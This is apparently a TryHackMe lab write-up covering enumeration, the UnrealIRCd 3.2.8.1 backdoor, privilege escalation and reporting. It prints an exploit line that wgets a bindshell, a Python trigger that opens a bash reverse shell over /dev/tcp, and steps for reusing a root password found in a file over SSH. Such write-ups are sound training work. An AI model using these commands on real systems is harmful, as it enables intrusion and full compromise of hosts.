Guided Pentest: Infrastructure
The infrastructure companion to Guided Pentest: Web, both in the Penetration Testing Foundations module on the Jr Penetration Tester path. Same teaching style: seven tasks that name the phase they cover (Enumeration, Vulnerability Analysis, Initial Access, Post Exploitation, Reporting) and one question each, so the room walks the methodology rather than dropping you cold.
The technical content is a classic: UnrealIRCd 3.2.8.1, the release whose distribution tarball was trojaned in 2010 (CVE-2010-2075). This is the same service that appears on Metasploitable and a dozen beginner boxes, which makes it a good vehicle for teaching the enumerate to searchsploit to exploit to escalate loop without any exotic steps in the way.
I worked it from iTerm on the Mac. The target was directly reachable over the THM tunnel, so I did not need the AttackBox at all for this one.
Task 2: Enumeration
A top-ports scan finds only two services:

22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
6667/tcp open irc UnrealIRCd
The port other than 22 is 6667, the standard IRC port. A full -p- sweep over the tunnel was slow, so a --top-ports scan is the pragmatic move; the answer only needs the one non-SSH port.
nmap labels the service UnrealIRCd but does not pin the version, and the version is what decides everything downstream. Registering a throwaway nick and asking the server directly settles it:
{ printf 'NICK aud\r\nUSER aud 0 * :aud\r\n'; sleep 10; printf 'VERSION\r\n'; sleep 6; } \
| nc -w 22 10.49.141.112 6667 | grep -i version
# :irc... 002 aud :Your host is irc.pentest-target.thm, running version Unreal3.2.8.1
Unreal3.2.8.1 exactly, which is the one number that matters here.
Task 3: Vulnerability Analysis
searchsploit against that version returns the two exploits that define this box:
searchsploit unrealircd
# UnrealIRCd 3.2.8.1 - Backdoor Command Execution | linux/remote/16922.rb
# UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
The question asks specifically for the Remote Downloader/Execute path, which is linux/remote/13853.pl. The answer mask (*****/******/*****.**) matches linux/remote/13853.pl and rules out the Metasploit module 16922.rb, which is a nice example of the mask disambiguating two valid-looking answers before you submit.
Reading the exploit shows the actual mechanism, which matters because you do not want to run its 2010-era payloads verbatim:
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/.../bindshell ...';
The AB; prefix is the whole vulnerability. The trojaned build treats any message beginning with AB as a shell command to run as the IRC daemon’s user. Every payload in the perl script is just a different thing to put after that prefix, and all of them fetch from URLs that have been dead for a decade. The exploit is a template, not something to run as-is.
Task 4: Initial Access
Rather than the exploit’s stale download URLs, I sent the backdoor a reverse-shell one-liner directly over the IRC socket. Start a listener, then trigger:
import socket, time
s = socket.socket(); s.connect(("10.49.141.112", 6667)); time.sleep(3)
s.sendall(b"AB; bash -c 'bash -i >& /dev/tcp/LHOST/4446 0>&1' \r\n")
The listener catches a shell immediately:

webmaster@pentest-target:/opt/Unreal3.2$ id
uid=1001(webmaster) gid=1001(webmaster) groups=1001(webmaster)
The daemon runs as webmaster, not root, which is the point of the next task. The user flag is in that user’s home:
cat ~/flag.txt
# THM{Pwned-Y0ur-First-Machine}
Two details worth noting. The trigger uses LHOST as the address the target dials back to, and here that is the tunnel address the server already saw the IRC connection come from, not any AttackBox internal IP. And the shell arrives with bash: cannot set terminal process group ... no job control, which is normal for a raw netcat catch and does not stop cat, id, find or reading files.
Task 5: Post Exploitation
Standard privesc enumeration comes up empty on this Ubuntu 24.04 host: no unusual SUID binaries (only the stock set), no writable cron, no exploitable sudo (sudo -n -l needs a password), no interesting capabilities. The intended path is a plaintext credential file, which the room’s own guidance points at:
find / -name 'password*' 2>/dev/null
# ... /etc/password.txt
cat /etc/password.txt
# root:[REDACTED]
/etc/password.txt holds the root login. Because the reverse shell has no TTY, su will not accept the password interactively, but SSH is open on 22, so the credential goes straight in there instead:

ssh [email protected] # password from /etc/password.txt
# uid=0(root) gid=0(root) groups=0(root)
# THM{Escalat1on-D0ne}
Root flag THM{Escalat1on-D0ne}, from /root/root.txt. I have redacted the actual password in the screenshot and the code above; it is a lab credential, but there is no reason to reprint it.
The lesson the room is teaching with this step is worth stating plainly: it is not that su needs a TTY, it is that a credential found in one place (a file readable by a low-priv service account) is often reusable in another (SSH), and the two together turn a foothold into full compromise. That reuse across services is exactly what the reporting task then asks you to communicate to the client.
Task 6: Reporting
The one non-technical question asks which report section is aimed at engineering managers. Walking the room’s list (cover page, executive summary for the manager who commissioned the work, technical summary, vulnerability table, detailed exploitation), the section written for engineering managers so they can prioritise is the technical summary. It sits between the non-technical executive summary and the fully detailed exploitation walkthrough, translating impact into something an engineering lead can act on.
Two things worth keeping
Fingerprint the exact version before you reach for an exploit. nmap said UnrealIRCd and stopped there, and every exploit for this service is version-specific: the backdoor only exists in the 3.2.8.1 tarball, and a patched 3.2.8.1 or a different minor version would waste your time. One VERSION query over the raw IRC socket is the difference between “there is an IRC server” and “there is the trojaned build”. The same discipline applies to any service where the vulnerability lives in a specific release rather than the protocol.
Read a public exploit before running it, especially an old one. 13853.pl is a real working exploit, but its payloads wget from URLs that died years ago, so running it unmodified does nothing and looks like the target is patched. Understanding that the entire mechanism is the AB; command prefix meant I could send my own reverse shell instead and skip the dead infrastructure entirely. A ten-year-old proof-of-concept is a description of a vulnerability first and a tool second; treat the payload as a placeholder.
Room solved 100%: 7 tasks, 6 answers.
